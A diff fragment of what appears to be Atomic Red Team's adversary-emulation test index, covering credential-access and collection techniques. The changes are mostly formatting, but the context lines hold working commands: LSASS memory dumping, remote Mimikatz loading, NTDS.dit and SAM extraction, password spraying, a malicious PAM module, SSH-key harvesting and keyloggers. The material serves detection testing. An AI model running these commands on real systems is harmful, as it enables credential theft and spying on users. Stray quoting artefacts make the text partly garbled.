cleanup_command: 'Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Create Mini Dump of LSASS.exe using ProcDump @@ -3497,10 +3497,10 @@ credential-access: - description: 'ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe}) -' + ' prereq_command: 'if (Test-Path #{procdump_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip" Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force @@ -3510,7 +3510,7 @@ credential-access: command: "#{procdump_exe} -accepteula -mm lsass.exe #{output_file}\n" cleanup_command: 'del "#{output_file}" >nul 2> nul -' + ' name: command_prompt elevation_required: true - name: Powershell Mimikatz @@ -3532,7 +3532,7 @@ credential-access: command: 'IEX (New-Object Net.WebClient).DownloadString(''#{remote_script}''); Invoke-Mimikatz -DumpCreds -' + ' name: powershell elevation_required: true - name: Dump LSASS with .Net 5 createdump.exe @@ -3554,15 +3554,15 @@ credential-access: dependencies: - description: 'Computer must have createdump.exe from .Net 5 -' + ' prereq_command: 'if (Test-Path ''#{createdump_exe}'') {exit 0} else {exit 1} -' + ' get_prereq_command: 'echo ".NET 5 must be installed manually." "For the very brave a copy of the executable can be found here: https://github.com/Scoubi/RedTeam-Tools/blob/main/createdump.exe" -' + ' executor: command: | echo "Createdump Path #{createdump_exe}" @@ -3572,7 +3572,7 @@ credential-access: & "#{createdump_exe}" -u -f #{output_file} $ID cleanup_command: 'del #{output_file} -' + ' name: powershell elevation_required: true - name: Dump LSASS.exe using imported Microsoft DLLs @@ -3597,10 +3597,10 @@ credential-access: dependencies: - description: 'Computer must have xordump.exe -' + ' prereq_command: 'if (Test-Path ''#{xordump_exe}'') {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe} @@ -3608,7 +3608,7 @@ credential-access: command: "#{xordump_exe} -out #{output_file} -x 0x41\n" cleanup_command: 'Remove-Item ${output_file} -ErrorAction Ignore -' + ' name: powershell elevation_required: true T1557: @@ -3814,19 +3814,19 @@ credential-access: dependencies: - description: 'Target must be a Domain Controller -' + ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT -' + ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually -' + ' executor: command: 'vssadmin.exe create shadow /for=#{drive_letter} -' + ' name: command_prompt elevation_required: true - name: Copy NTDS.dit from Volume Shadow Copy @@ -3853,34 +3853,34 @@ credential-access: dependencies: - description: 'Target must be a Domain Controller -' + ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT -' + ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually -' + ' - description: 'Volume shadow copy must exist -' + ' prereq_command: 'if not exist #{vsc_name} (exit /b 1) -' + ' get_prereq_command: 'echo Run "Invoke-AtomicTest T1003.003 -TestName ''Create Volume Shadow Copy with vssadmin''" to fulfill this requirement -' + ' - description: 'Extract path must exist -' + ' prereq_command: 'if not exist #{extract_path} (exit /b 1) -' + ' get_prereq_command: 'mkdir #{extract_path} -' + ' executor: command: | copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit @@ -3912,22 +3912,22 @@ credential-access: dependencies: - description: 'Target must be a Domain Controller -' + ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT -' + ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually -' + ' executor: command: | mkdir #{output_folder} ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q cleanup_command: 'rmdir /q /s #{output_folder} >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Create Volume Shadow Copy with WMI @@ -3946,19 +3946,19 @@ credential-access: dependencies: - description: 'Target must be a Domain Controller -' + ' prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT -' + ' get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller must be done manually -' + ' executor: command: 'wmic shadowcopy call create Volume=#{drive_letter} -' + ' name: command_prompt elevation_required: true - name: Create Volume Shadow Copy remotely with WMI @@ -3981,18 +3981,18 @@ credential-access: - description: 'Target must be a reachable Domain Controller, and current context must be domain admin -' + ' prereq_command: 'wmic /node:"#{target_host}" shadowcopy list brief -' + ' get_prereq_command: 'echo Sorry, can''t connect to target host, check: network, firewall or permissions (must be admin on target) -' + ' executor: - command: 'wmic /node:#{target_host} shadowcopy call create Volume=#{drive_letter} + command: 'wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter} -' + ' name: command_prompt elevation_required: true - name: Create Volume Shadow Copy with Powershell @@ -4156,15 +4156,15 @@ credential-access: dependencies: - description: 'Check if at least one of the tools are installed on the machine. -' + ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; -' + ' get_prereq_command: 'echo "Install tcpdump and/or tshark for the test to run."; exit 1; -' + ' executor: command: | tcpdump -c 5 -nnni #{interface} @@ -4188,15 +4188,15 @@ credential-access: dependencies: - description: 'Check if at least one of the tools are installed on the machine. -' + ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; -' + ' get_prereq_command: 'echo "Install tcpdump and/or tshark for the test to run."; exit 1; -' + ' executor: command: "sudo tcpdump -c 5 -nnni #{interface} \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n" @@ -4237,14 +4237,14 @@ credential-access: - description: 'tshark must be installed and in the default path of "c:\Program Files\Wireshark\Tshark.exe". -' + ' prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1} get_prereq_command: | Invoke-WebRequest -OutFile $env:temp\wireshark_installer.exe #{wireshark_url} Start-Process $env:temp\wireshark_installer.exe /S - description: 'npcap must be installed. -' + ' prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1} get_prereq_command: | Invoke-WebRequest -OutFile $env:temp\npcap_installer.exe #{npcap_url} @@ -4252,7 +4252,7 @@ credential-access: executor: command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5 -' + ' name: command_prompt elevation_required: true - name: Windows Internal Packet Capture @@ -4419,10 +4419,10 @@ credential-access: dependencies: - description: 'Gsecdump must exist on disk at specified location (#{gsecdump_exe}) -' + ' prereq_command: 'if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe" @@ -4487,7 +4487,7 @@ credential-access: C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full cleanup_command: 'Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore -' + ' name: powershell elevation_required: true T1110.002: @@ -4655,7 +4655,7 @@ credential-access: description: 'Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges. -' + ' supported_platforms: - windows input_arguments: @@ -4668,14 +4668,14 @@ credential-access: - description: 'AtomicPasswordFilter.dll must exist on disk at specified location (#{input_dll}) -' + ' prereq_command: 'if (Test-Path #{input_dll}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host "You must provide your own password filter dll" -' + ' executor: command: | $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename @@ -4767,7 +4767,7 @@ credential-access: description: 'Creates username and password files then attempts to brute force Active Directory accounts on remote host -' + ' supported_platforms: - windows input_arguments: @@ -4807,7 +4807,7 @@ credential-access: description: 'Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos -' + ' supported_platforms: - windows input_arguments: @@ -4857,7 +4857,7 @@ credential-access: auto_generated_guid: 5a51ef57-299e-4d62-8e11-2d440df55e69 description: 'Attempt to brute force Azure AD user via AzureAD powershell module. -' + ' supported_platforms: - azure-ad input_arguments: @@ -4874,13 +4874,13 @@ credential-access: dependencies: - description: 'AzureAD module must be installed. -' + ' prereq_command: 'if (Get-Module AzureAD) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Install-Module -Name AzureAD -Force -' + ' executor: name: powershell elevation_required: false @@ -5066,13 +5066,13 @@ credential-access: dependencies: - description: 'List of domain users to password spray must exits at %temp%\users.txt -' + ' prereq_command: 'if not exist %temp%\users.txt (exit /b 1) -' + ' get_prereq_command: 'PathToAtomicsFolder\T1110.003\src\parse_net_users.bat -' + ' executor: name: command_prompt elevation_required: false @@ -5080,7 +5080,7 @@ credential-access: /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL -' + ' - name: Password Spray (DomainPasswordSpray) auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b description: | @@ -5179,13 +5179,13 @@ credential-access: dependencies: - description: 'AzureAD module must be installed. -' + ' prereq_command: 'if (Get-Module AzureAD) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Install-Module -Name AzureAD -Force -' + ' executor: name: powershell elevation_required: false @@ -5305,10 +5305,10 @@ credential-access: elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} -' + ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} -' + ' - name: Malicious PAM module auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326 description: | @@ -5342,35 +5342,35 @@ credential-access: - description: 'The PAM development library must be installed to build the PAM module -' + ' prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel; fi -' + ' - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module}) -' + ' prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source} -' + ' executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} -' + ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} -' + ' T1552.004: technique: id: attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf @@ -5445,14 +5445,14 @@ credential-access: executor: command: 'dir c:\ /b /s .key | findstr /e .key -' + ' name: command_prompt elevation_required: true - name: Discover Private SSH Keys auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878 description: 'Discover private SSH keys on a macOS or Linux system. -' + ' supported_platforms: - macos - linux @@ -5468,17 +5468,17 @@ credential-access: executor: command: 'find #{search_path} -name id_rsa >> #{output_file} -' + ' cleanup_command: 'rm #{output_file} -' + ' name: sh - name: Copy Private SSH Keys with CP auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3 description: 'Copy private SSH keys on a Linux system to a staging folder using the `cp` command. -' + ' supported_platforms: - linux input_arguments: @@ -5496,14 +5496,14 @@ credential-access: find #{search_path} -name id_rsa -exec cp --parents {} #{output_folder} \; cleanup_command: 'rm #{output_folder} -' + ' name: sh - name: Copy Private SSH Keys with rsync auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a description: 'Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command. -' + ' supported_platforms: - macos - linux @@ -5522,14 +5522,14 @@ credential-access: find #{search_path} -name id_rsa -exec rsync -R {} #{output_folder} \; cleanup_command: 'rm -rf #{output_folder} -' + ' name: sh - name: Copy the users GnuPG directory with rsync auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca description: 'Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command. -' + ' supported_platforms: - macos - linux @@ -5548,7 +5548,7 @@ credential-access: find #{search_path} -type d -name '.gnupg' -exec rsync -Rr {} #{output_folder} \; cleanup_command: 'rm -rf #{output_folder} -' + ' name: sh - name: ADFS token signing and encryption certificates theft - Local auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f @@ -5561,13 +5561,13 @@ credential-access: dependencies: - description: 'AADInternals module must be installed. -' + ' prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Install-Module -Name AADInternals -Force -' + ' executor: command: | Import-Module AADInternals -Force @@ -5607,14 +5607,14 @@ credential-access: dependencies: - description: 'AADInternals and ActiveDirectory modules must be installed. -' + ' prereq_command: 'if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1} -' + ' get_prereq_command: 'Install-Module -Name AADInternals -Force -' + ' executor: command: "Import-Module ActiveDirectory -Force \nImport-Module AADInternals -Force | Out-Null\n#Get Configuration\n$dcServerName = (Get-ADDomainController).HostName\n$svc @@ -5709,7 +5709,7 @@ credential-access: dependencies: - description: 'Script to launch target process must exist -' + ' prereq_command: | test -f #{script_path} grep "#{pid_term}" #{script_path} @@ -5730,7 +5730,7 @@ credential-access: grep -i "PASS" "#{output_file}" cleanup_command: 'rm -f "#{output_file}" -' + ' - name: Dump individual process memory with Python (Local) auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63 description: | @@ -5758,7 +5758,7 @@ credential-access: dependencies: - description: 'Script to launch target process must exist -' + ' prereq_command: | test -f #{script_path} grep "#{pid_term}" #{script_path} @@ -5767,11 +5767,11 @@ credential-access: echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path} - description: 'Requires Python -' + ' prereq_command: "(which python || which python3 || which python2)\n" get_prereq_command: 'echo "Python 2.7+ or 3.4+ must be installed" -' + ' executor: name: sh elevation_required: true @@ -5783,7 +5783,7 @@ credential-access: grep -i "PASS" "#{output_file}" cleanup_command: 'rm -f "#{output_file}" -' + ' T1606.002: technique: external_references: @@ -5878,13 +5878,13 @@ credential-access: dependencies: - description: 'AADInternals module must be installed. -' + ' prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Install-Module -Name AADInternals -Force -' + ' executor: command: | Import-Module AADInternals -Force @@ -5972,42 +5972,42 @@ credential-access: auto_generated_guid: a96872b2-cbf3-46cf-8eb4-27e8c0e85263 description: 'Parses registry hives to obtain stored credentials -' + ' supported_platforms: - windows dependency_executor_name: command_prompt dependencies: - description: 'Computer must have python 3 installed -' + ' prereq_command: | py -3 --version >nul 2>&1 exit /b %errorlevel% get_prereq_command: 'echo "Python 3 must be installed manually" -' + ' - description: 'Computer must have pip installed -' + ' prereq_command: | py -3 -m pip --version >nul 2>&1 exit /b %errorlevel% get_prereq_command: 'echo "PIP must be installed manually" -' + ' - description: 'pypykatz must be installed and part of PATH -' + ' prereq_command: | pypykatz -h >nul 2>&1 exit /b %errorlevel% get_prereq_command: 'pip install pypykatz -' + ' executor: command: 'pypykatz live registry -' + ' name: command_prompt elevation_required: true - name: esentutl.exe SAM copy @@ -6033,12 +6033,12 @@ credential-access: executor: command: 'esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name} -' + ' name: command_prompt elevation_required: true cleanup_command: 'del #{copy_dest}\#{file_name} >nul 2>&1 -' + ' - name: PowerDump Registry dump of SAM for hashes and usernames auto_generated_guid: 804f28fc-68fc-40da-b5a2-e9d0bce5c193 description: Executes a hashdump by reading the hasshes from the registry. @@ -6091,7 +6091,7 @@ credential-access: auto_generated_guid: 9d77fed7-05f8-476e-a81b-8ff0472c64d0 description: 'Dump hives from volume shadow copies with System.IO.File -' + ' supported_platforms: - windows input_arguments: @@ -6906,7 +6906,7 @@ collection: elevation_required: false command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file} -' + ' cleanup_command: 'Remove-Item -path #{output_file} -ErrorAction Ignore' T1560.003: technique: @@ -7002,7 +7002,7 @@ collection: auto_generated_guid: 391f5298-b12d-4636-8482-35d9c17d53a8 description: 'Uses GZip from Python to compress files -' + ' supported_platforms: - linux input_arguments: @@ -7018,10 +7018,10 @@ collection: dependencies: - description: 'Requires Python -' + ' prereq_command: 'which_python=`which python`; $which_python -V -' + ' get_prereq_command: '' executor: name: bash @@ -7029,15 +7029,15 @@ collection: command: '$which_python -c "import gzip;input_file=open(''#{path_to_input_file}'', ''rb'');content=input_file.read();input_file.close();output_file=gzip.GzipFile(''#{path_to_output_file}'',''wb'',''compresslevel=6'');output_file.write(content);output_file.close();" -' + ' cleanup_command: 'rm #{path_to_output_file} -' + ' - name: Compressing data using bz2 in Python (Linux) auto_generated_guid: c75612b2-9de0-4d7c-879c-10d7b077072d description: 'Uses bz2 from Python to compress files -' + ' supported_platforms: - linux input_arguments: @@ -7053,25 +7053,25 @@ collection: dependencies: - description: 'Requires Python -' + ' prereq_command: 'which_python=`which python`; $which_python -V -' + ' get_prereq_command: '' executor: name: bash elevation_required: false command: '$which_python -c "import bz2;input_file=open(''#{path_to_input_file}'',''rb'');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open(''#{path_to_output_file}'',''w+'');output_file.write(bz2content);output_file.close();" -' + ' cleanup_command: 'rm #{path_to_output_file} -' + ' - name: Compressing data using zipfile in Python (Linux) auto_generated_guid: 001a042b-859f-44d9-bf81-fd1c4e2200b0 description: 'Uses zipfile from Python to compress files -' + ' supported_platforms: - linux input_arguments: @@ -7087,10 +7087,10 @@ collection: dependencies: - description: 'Requires Python -' + ' prereq_command: 'which_python=`which python`; $which_python -V -' + ' get_prereq_command: '' executor: name: bash @@ -7098,15 +7098,15 @@ collection: command: '$which_python -c "from zipfile import ZipFile; ZipFile(''#{path_to_output_file}'', mode=''w'').write(''#{path_to_input_file}'')" -' + ' cleanup_command: 'rm #{path_to_output_file} -' + ' - name: Compressing data using tarfile in Python (Linux) auto_generated_guid: e86f1b4b-fcc1-4a2a-ae10-b49da01458db description: 'Uses tarfile from Python to compress files -' + ' supported_platforms: - linux input_arguments: @@ -7122,10 +7122,10 @@ collection: dependencies: - description: 'Requires Python -' + ' prereq_command: 'which_python=`which python`; $which_python -V -' + ' get_prereq_command: '' executor: name: bash @@ -7134,7 +7134,7 @@ collection: mode='w').write('#{path_to_input_file}')\" \n" cleanup_command: 'rm #{path_to_output_file} -' + ' T1560.001: technique: created: '2020-02-20T21:01:25.428Z' @@ -7217,10 +7217,10 @@ collection: dependencies: - description: 'Rar tool must be installed at specified location (#{rar_exe}) -' + ' prereq_command: 'if not exist "#{rar_exe}" (exit /b 1) -' + ' get_prereq_command: | echo Downloading Winrar installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer} @@ -7230,10 +7230,10 @@ collection: elevation_required: false command: '"#{rar_exe}" a -r #{output_file} #{input_path}\*#{file_extension} -' + ' cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1 -' + ' - name: Compress Data and lock with password for Exfiltration with winrar auto_generated_guid: 8dd61a55-44c6-43cc-af0c-8bdda276860c description: | @@ -7253,10 +7253,10 @@ collection: dependencies: - description: 'Rar tool must be installed at specified location (#{rar_exe}) -' + ' prereq_command: 'if not exist "#{rar_exe}" (exit /b 1) -' + ' get_prereq_command: | echo Downloading Winrar installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer} @@ -7294,11 +7294,11 @@ collection: dependencies: - description: 'Winzip must be installed -' + ' prereq_command: 'cmd /c ''if not exist "#{winzip_exe}" (echo 1) else (echo 0)'' -' + ' get_prereq_command: | if(Invoke-WebRequestVerifyHash "#{winzip_url}" "$env:Temp\winzip.exe" #{winzip_hash}){ Write-Host Follow the installation prompts to continue @@ -7318,7 +7318,7 @@ collection: auto_generated_guid: d1334303-59cb-4a03-8313-b3e24d02c198 description: 'Note: Requires 7zip installation -' + ' supported_platforms: - windows input_arguments: @@ -7333,10 +7333,10 @@ collection: dependencies: - description: '7zip tool must be installed at specified location (#{7zip_exe}) -' + ' prereq_command: 'if not exist "#{7zip_exe}" (exit /b 1) -' + ' get_prereq_command: | echo Downloading 7-zip installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.7-zip.org/a/7z2002-x64.exe" #{7zip_installer} @@ -7355,7 +7355,7 @@ collection: description: 'An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression. -' + ' supported_platforms: - linux - macos @@ -7372,30 +7372,30 @@ collection: dependencies: - description: 'Files to zip must exist (#{input_files}) -' + ' prereq_command: 'if [ $(ls #{input_files} | wc -l) > 0 ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo Please set input_files argument to include files that exist -' + ' executor: name: sh elevation_required: false command: 'zip #{output_file} #{input_files} -' + ' cleanup_command: 'rm -f #{output_file} -' + ' - name: Data Compressed - nix - gzip Single File auto_generated_guid: cde3c2af-3485-49eb-9c1f-0ed60e9cc0af description: 'An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression. -' + ' supported_platforms: - linux - macos @@ -7415,16 +7415,16 @@ collection: command: 'test -e #{input_file} && gzip -k #{input_file} || (echo ''#{input_content}'' >> #{input_file}; gzip -k #{input_file}) -' + ' cleanup_command: 'rm -f #{input_file}.gz -' + ' - name: Data Compressed - nix - tar Folder or File auto_generated_guid: 7af2b51e-ad1c-498c-aca8-d3290c19535a description: 'An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression. -' + ' supported_platforms: - linux - macos @@ -7440,28 +7440,28 @@ collection: dependencies: - description: 'Folder to zip must exist (#{input_file_folder}) -' + ' prereq_command: 'test -e #{input_file_folder} -' + ' get_prereq_command: 'echo Please set input_file_folder argument to a folder that exists -' + ' executor: name: sh elevation_required: false command: 'tar -cvzf #{output_file} #{input_file_folder} -' + ' cleanup_command: 'rm -f #{output_file} -' + ' - name: Data Encrypted with zip and gpg symmetric auto_generated_guid: '0286eb44-e7ce-41a0-b109-3da516e05a5f' description: 'Encrypt data for exiltration -' + ' supported_platforms: - macos - linux @@ -7484,10 +7484,10 @@ collection: prereq_command: 'if [ ! -x "$(command -v gpg)" ] || [ ! -x "$(command -v zip)" ]; then exit 1; fi; -' + ' get_prereq_command: 'echo "Install gpg and zip to run the test"; exit 1; -' + ' executor: name: sh elevation_required: false @@ -7499,7 +7499,7 @@ collection: ls -l #{test_folder} cleanup_command: 'rm -Rf #{test_folder} -' + ' T1123: technique: id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 @@ -7549,7 +7549,7 @@ collection: executor: command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet -' + ' name: powershell T1119: technique: @@ -7619,7 +7619,7 @@ collection: for /R c: %f in (*.docx) do copy %f %temp%\T1119_command_prompt_collection cleanup_command: 'del %temp%\T1119_command_prompt_collection /F /Q >null 2>&1 -' + ' name: command_prompt - name: Automated Collection PowerShell auto_generated_guid: 634bd9b9-dc83-4229-b19f-7f83ba9ad313 @@ -7635,7 +7635,7 @@ collection: cleanup_command: 'Remove-Item $env:TEMP\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null -' + ' name: powershell - name: Recon information for export with PowerShell auto_generated_guid: c3f6d794-50dd-482f-b640-0384fbb7db26 @@ -7724,7 +7724,7 @@ collection: auto_generated_guid: 0cd14633-58d4-4422-9ede-daa2c9474ae7 description: 'Add data to clipboard to copy off or execute commands from. -' + ' supported_platforms: - windows executor: @@ -7734,14 +7734,14 @@ collection: clip < %temp%\T1115.txt cleanup_command: 'del %temp%\T1115.txt >nul 2>&1 -' + ' name: command_prompt - name: Execute Commands from Clipboard using PowerShell auto_generated_guid: d6dc21af-bec9-4152-be86-326b6babd416 description: 'Utilize PowerShell to echo a command to clipboard and execute it -' + ' supported_platforms: - windows executor: @@ -7764,7 +7764,7 @@ collection: description: 'This module copies the data stored in the user''s clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt -' + ' supported_platforms: - windows input_arguments: @@ -7776,7 +7776,7 @@ collection: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -7787,7 +7787,7 @@ collection: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -7797,7 +7797,7 @@ collection: cleanup_command: 'Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt" -ErrorAction Ignore -' + ' name: powershell T1213.001: technique: @@ -7947,7 +7947,7 @@ collection: auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33 description: 'Hooks functions in PowerShell to read TLS Communications -' + ' supported_platforms: - windows input_arguments: @@ -7963,10 +7963,10 @@ collection: dependencies: - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name}) -' + ' prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" @@ -8519,7 +8519,7 @@ collection: to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'' -' + ' name: bash - name: PowerShell - Prompt User for Password auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52 @@ -8690,7 +8690,7 @@ collection: .\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath} cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Living off the land Terminal Input Capture on Linux with pam.d @@ -8709,14 +8709,14 @@ collection: dependencies: - description: 'Checking if pam_tty_audit.so is installed -' + ' prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so'' -' + ' get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work" -' + ' supported_platforms: - linux executor: @@ -8747,14 +8747,14 @@ collection: - description: 'This test requires to be run in a bash shell and that logger and tee are installed. -' + ' prereq_command: | if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -8764,7 +8764,7 @@ collection: tail /var/log/syslog cleanup_command: 'unset PROMPT_COMMAND -' + ' - name: Bash session based keylogger auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258 description: "When a command is executed in bash, the BASH_COMMAND variable @@ -8781,14 +8781,14 @@ collection: dependencies: - description: 'This test requires to be run in a bash shell -' + ' prereq_command: 'if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' input_arguments: output_file: name: output_file @@ -8804,7 +8804,7 @@ collection: cat #{output_file} cleanup_command: 'rm #{output_file} -' + ' - name: SSHD PAM keylogger auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. @@ -8812,20 +8812,20 @@ collection: of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes. -' + ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires sshd and auditd -' + ' prereq_command: | if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" -' + ' input_arguments: user_account: description: Basic ssh user account for testing. @@ -8839,7 +8839,7 @@ collection: restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n" cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/ -' + ' - name: Auditd keylogger auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af description: "The linux audit tool auditd can be used to capture 32 and 64 bit @@ -8851,14 +8851,14 @@ collection: dependencies: - description: 'This test requires sshd and auditd -' + ' prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -8867,7 +8867,7 @@ collection: $(date +\"%d/%m/%y %H:%M:%S\") \n" cleanup_command: 'systemctl restart auditd -' + ' T1557.001: technique: external_references: @@ -9026,17 +9026,17 @@ collection: command: 'Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file} -' + ' 